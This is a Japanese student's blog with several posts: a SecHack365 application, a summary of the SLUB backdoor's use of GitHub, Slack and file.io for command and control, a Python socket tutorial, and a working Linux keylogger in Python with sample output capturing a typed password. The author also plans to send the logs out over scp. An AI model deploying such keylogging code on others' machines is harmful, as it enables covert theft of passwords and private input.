2019年度SecHack365の募集が始まった話。
ついに、待ちに待ったSecHack365の募集が始まりました!!!
去年落選して悔しい思いをしたので、今年は絶対に受かってやろうと思います...!
SecHack365とは?
https://sechack365.nict.go.jp/
NICTが主催している25歳以下を対象とした一年周期の長期ハッカソン。一年かけてセキュリティに関するソフトウェアの開発や研究を行い、最後の成果発表会で発表するようです。二ヶ月に一度日本各地でオフラインの集合イベントがあります。
個人的にSecHack365のここがアツい
- 学生は費用がタダ
- NONSTOPと呼ばれるNICTが持つデータベースにアクセスできる
- 困ったらプロのトレーナーの方々に相談できる
- 僕のような普通の高校生にとってはセキュリティの勉強をする絶好のチャンス
僕のような普通の高校生は学校でセキュリティの勉強をすることができないので、ネットや本を使って独学で進めるしかありません。そんな僕にとってSecHack365のようなイベントは理解を深める絶好のチャンスなんです。
絶対受かって見せます。
このブログに合格報告と全国各地での体験を書けるように必死で課題に取り組みます。
〆切は4/19までです。
がんばるぞ....
SlackやGithubを使ったバックドアの話。
先日Security-Nextで興味深い記事を見つけたので、ブログに残しておこうと思う。
http://www.security-next.com/103414
https://blog.trendmicro.co.jp/archives/20605
SLUBとは?
今回発見されたのは、「SLUB」と呼ばれるバックドア。政治に関するウェブサイトを用いて、水飲み場型攻撃として展開されていた。
今回の目玉は、このSLUBの構造にある。
SLUBはC&Cサーバ間の通信にSlackやGitHub、file.ioといった一般的なツールを使用していた。具体的には、
- コマンドの追加・送信→GitHub
- コマンドの実行結果の取得→Slack
- ファイルの送受信→file.io
このように3つのサービスを役割ごとに使い分けていた。
SLUBのここがスゴい
Slackやfile.ioなどのサービスはそれぞれの企業が通信内容を管理しているため、隠蔽しやすい。これがこのマルウェアのミソである。
またGitHubを使うことで、コマンド送信の際ターゲットがオフラインでも起動時に同期され作業の効率がよいとも考えられる。
コミュニケーションツールを使った通信手法は以前から指摘されていたようだが、Slackが悪用されたのは初めてのケース。SLUBに使われたサービスのアカウントはほとんど使用される直前に作成されていた。
思ったこと
朝通学中の電車の中でこの記事を読んで、SLUBを作成したクラッカーの発想力に感心した。一般ツールの通信の安全性を逆手にとったこの攻撃はとても大胆で面白い。
まさにこれからのマルウェアのトレンドになるのでは...?と思った。
これからもっと多様化し続けるであろうバックドア型マルウェア。なにか画期的なバックドア検知ツールを作ることはできないかな...
今度SLUBのレプリカのようなものを、Pythonで書いてみよう。
サル(高校生)でもわかるPythonでのsocket通信。
※この記事は
「サイバーセキュリティプログラミング〜pythonで学ぶハッカーの思考〜」
という書籍を参考にして書いています。
ずっと欲しかった本を手に入れられて、早速勉強をはじめました。
とてもわかり易く書かれているので、ある程度Pythonを触ったことがある人なら楽に読み進められると思います。
今回のテーマ
pythonでTCPサーバーを建ててTCPクライアントとsocket通信する
ますはTCPクライアント。こっちは特に問題なく理解できた
#tcpclient.py import socket target_host = "localhost" target_port = 9999 #ソケットオブジェクトを作成 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #接続 client.connect((target_host,target_port)) #送信 client.send("hogehoge") #受信 response = client.recv(4096) #受信したデータを表示 print response
下から3行目のclient.recv()の数字は受信するデータ量を指定します。
ハードウェアやネットワークのシステム上、2の累乗にすべきだそうです。
続いてTCPサーバー。threadingについてほとんど無知だったので理解に時間がかかった。
#tcpserver.py import socket import threading ip_addr = "localhost" port = 9999 svr = socket.socket(socket.AF_INET, socket.SOCK_STREAM) svr.bind((ip_addr,port)) #接続キューの最大数を指定 svr.listen(2) print("Listening on %s:%d" % (ip_addr,port)) def handle_client(client_socket): #クライアントからデータを受信 req = client_socket.recv(1024) print("Received:" + req) #データの返送 client_socket.send("Hello World") #closeを忘れずに! client_socket.close() while True: client,addr = svr.accept() print("connection from %s:%d" % (addr[0] , addr[1])) #Threadの定義・起動 client_handler = threading.Thread(target = handle_client, args=(client,)) client_handler.start()
下から五行目socket.accept()は接続を受け付けるソケットオブジェクト。
戻り値が(conn,address)のペアなので、2つの変数に格納する必要がある。
address(addr)は、接続先のアドレス、conn(client)は、接続を通じてデータを送受信するためのソケットオブジェクトを示す。
また、connのデータは関数client_handlerに引数として渡す。(下から二行目)
実行
先にtcpserver.pyを実行した後、tcpclient.pyでいざ通信!
tcpserver.py
$ python tcpserver.py Listening on localhost:9999 connection from 127.0.0.1:50700 Received:hogehoge
tcpclient.py
$ python tcpclient.py Hello World
問題なく通信できました!
とてもシンプルなコードですが、これをベースに発展させていくようなのでしっかりと理解できてよかったです。
試験勉強しなきゃ...
pythonでlinux版キーロガーを作ってみた。
本格的にpythonを勉強し始めて約1ヶ月。
少しずつ慣れてきた気がするので、前から作ってみたかったキーロガーを作ってみる。
思ったよりずいぶん簡単にできた。
使うのはpyxhookモジュール。Windows用のキーロガーが作れるpyhookのLinux版。
ちなみにこのモジュールはpython3では動作しないので注意。
モジュールのインストール
sudo pip install pyxhook
import pyxhook import os #logファイルのパス log_file = '/path/.../xxx.txt' #logファイル新規作成 log = open(log_file,'w') log.close() def keyevent(event): #logファイルを追記型で開く log = open(log_file,'a') log.write(event.Key) log.write('\n') #?キーが押されたら終了する if event.Ascii == 63: log.close() hook.cancel() #HookManagerを定義 hook = pyxhook.HookManager() #キーボードが入力されたらkeyevent関数を呼び出す hook.KeyDown = keyevent #HookKeyloadをセット hook.HookKeyboard() hook.start()
tips
・ログが横に並ぶと見づらくなるのでlog.write('\n)で一文字ごとに改行
・Asciiコードを使って特定のキーが押されたときに処理を終了する
(logファイルをcloseするのを忘れずに!)
ASCIIコード表
実行してみる。
$ python keylogger.py password abcdefg?
logファイル[log.txt]
p a s s w o r d Return a b c d e f g Shift_L question
今回はこのへんで。
次回はscpを使ってsshサーバーにlogファイルを送ってみたりしようと思います。